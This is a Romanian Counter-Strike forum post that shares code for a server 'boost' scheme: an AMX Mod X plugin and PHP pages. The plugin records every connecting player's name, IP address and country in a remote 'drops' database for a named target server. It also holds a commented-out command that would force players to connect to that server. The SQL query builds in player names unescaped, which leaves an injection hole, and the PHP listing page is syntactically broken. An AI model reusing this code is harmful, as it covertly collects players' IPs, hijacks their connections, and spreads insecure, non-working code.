Cum sa-ti incepi un proiect de boost ? Tutorial

Discutii despre tot ce nu se incadreaza in celelalte categorii (dar legat de Counter-Strike !)

Moderators: Moderatori ajutatori, Moderatori

User avatar
L E V I N
Scripter eXtreamCS
Scripter eXtreamCS
Posts: 2148
Joined: 24 Aug 2011, 11:24
Detinator Steam: Da
CS Status:
Detinator server CS: ☯∴
SteamID: riseofevo
Reputatie: Scripter eXtreamCS
Nume anterior: Adryyy
Location: ҳ̸Ҳ̸ҳ
Has thanked: 73 times
Been thanked: 329 times
Contact:

01 Jan 2019, 22:05

cs_all wrote:
blackgate wrote:http://www44.zippyshare.com/v/C5PIhJEo/file.html
plugin repartizare jucatori si statistica
imi e lene acuma sa scriu tutorial, cine nu se pricepe sa scrie si poate-l fac maine
/

Link nou ?
Nu știu dacă este ce a fost pe acel link, da eu zic că este ok
.SMA | Afiseaza codul
#include < amxmodx >
#include < amxmisc >
#include < geoip >
#include < sqlx >

#define TABEL drops

// sql stuff
new g_Error [ 512 ], ErrCode;
new Handle:Tuple, Handle:Connection;

// other
new vps [ 32 ], port [ 32 ];

public plugin_init ( )
{
	
	get_user_ip ( 0, vps, charsmax ( vps ) );
	get_cvar_string ( "port", port, charsmax ( port ) );
	
	set_task ( 1.0, "init", _, _, _, "b" );
}

public init ( )
{
	Tuple = SQL_MakeDbTuple("a", "a", "a", "a");
	Connection = SQL_Connect(Tuple, ErrCode, g_Error, charsmax ( g_Error ) );
	if ( Connection == Empty_Handle ) {
		set_fail_state ( g_Error );
		} else {
		server_print ( "Connection succefull")
	}
}

public client_connect ( Client )
{
	if(is_user_bot(Client) || is_user_hltv(Client)) 		return PLUGIN_HANDLED;
	
	
	new name [ 32 ], ip [ 32 ], country [ 32 ];
	get_user_name ( Client, name, charsmax ( name ) );
	get_user_ip ( Client, ip, charsmax ( ip ) );
	geoip_country ( ip, country, 31 );
	
	new sql [ 512 ];
	formatex ( sql, charsmax ( sql ), "INSERT INTO `%s` (Redirect, Port, Name, IP, Country, Server) VALUES ('%s', '%s', '%s', '%s', '%s', 'newlifezm.csone.ro')", vps, port, name, ip, country);
	new Handle:query = SQL_PrepareQuery(Connection, sql);
	if(!SQL_Execute(query))
	{
		SQL_QueryError( query, g_Error, charsmax( g_Error ) )
		set_fail_state(g_Error);
	}
	
	SQL_FreeHandle(query);
	SQL_FreeHandle(Connection);
	
	//client_cmd(Client, "wait;wait;wait;wait;wait;^"connect^" newlifezm.csone.ro:27015");
	return PLUGIN_CONTINUE;
}
index.php | Afiseaza codul
<!DOCTYPE html>
<html>
<head>
  <meta charset="utf-8" />
  <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1" />
  <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0">

  <title>Live Evidence</title>

<script src="https://code.jquery.com/jquery-2.2.2.min.js" integrity="sha256-36cp2Co+/62rEAAYHLmRCPIych47CvdM+uTBJwSzWjI=" crossorigin="anonymous"></script>
<script type="text/javascript" src="https://code.jquery.com/ui/1.11.3/jquer ... "></script>

<script type="text/javascript">
$("document").ready(function(){
	$('#displayList').load('live.php');
});
</script>

<table>
	<thead>
		<tr>
			<th>Redirect</th>
    		<th>Port</th>		
    		<th>Nume Jucator</th>
			<th>IP</th>
			<th>Tara</th>
			<th>Server</th>
			</tr>
	</thead>
	<tbody>
		<div id="displayList"></div>
	</tbody>
</table>

</head>
</html>
live.php | Afiseaza codul
<?php
	define(HN, ''); //hostname
	define(USR, ''); //user
	define(PAS, ''); //password
	define(DBN, ''); //database name

	$db = new PDO('mysql:host='.HN.';dbname='.DBN.';charset=utf8mb4', USR, PAS);
	$db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
	$db->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);

	try {
		foreach($db->query('SELECT `Redirect`, `Port`, `Name`, `IP`, `Country`, `Server` FROM `drops`') as $row) {
			print "<tr>
    				<td>" . $row["Redirect"]."</td>
    				<td>" . $row["Port"]."</td>		
    				<td>" . $row["Country"]."</td>
					<td>" . $row["Name"]."</td>
					<td>" . $row["IP"]."></td>
					<td>" . $row["Server"]."></td>
  			</tr>";
		}

		catch(PDOException $ex) {
				print 'There was an error in your query!';
    			print_r($ex->getMessage());
			}
	}
?>
Nu-mi mai dați cerere pe Steam doar pentru a mă avea în lista de prieteni, sau să-mi cereți ajutorul(nu fac nimic contracost!), faceți cerere aici.
INACTIV MOMENTAN
Post Reply

Return to “Diverse”

  • Information
  • Who is online

    Users browsing this forum: No registered users and 23 guests